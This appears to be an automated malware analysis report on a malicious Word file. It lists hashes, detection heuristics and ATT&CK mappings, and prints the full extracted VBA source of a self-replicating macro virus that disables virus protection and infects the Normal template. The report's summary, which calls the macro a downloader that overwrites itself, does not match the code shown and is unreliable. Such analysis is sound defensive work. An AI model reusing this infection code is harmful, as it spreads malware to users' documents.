Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de20c2ad46a169c2…

MALICIOUS

Office (OLE)

134.0 KB Created: 2017-09-29 07:57:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 72d7095deea0e38c2c606d00ffc611bc SHA-1: 66185ae355168317d854ec0704c1c30daac9a661 SHA-256: de20c2ad46a169c2d0f7254eb07e095009cf62c55c04ff1dcf0d6a0fad39becd
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes upon opening, as indicated by the 'Document_Open' subroutine and the 'OLE_VBA_DOCOPEN' heuristic. The macro attempts to overwrite its own code with a string literal 'APMPKILL', suggesting it is part of a downloader or dropper mechanism. The presence of VBA macros and the 'Document_Open' event strongly suggest a spearphishing attachment delivery vector.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1107 bytes
SHA-256: db4be8f51b6085e87c8c0ee754347f8d71fd6fe6633a7af8df142ba75f411d20
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "SignatureCtrl1, 0, 0, iSignatureOffice, SignatureCtrl"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub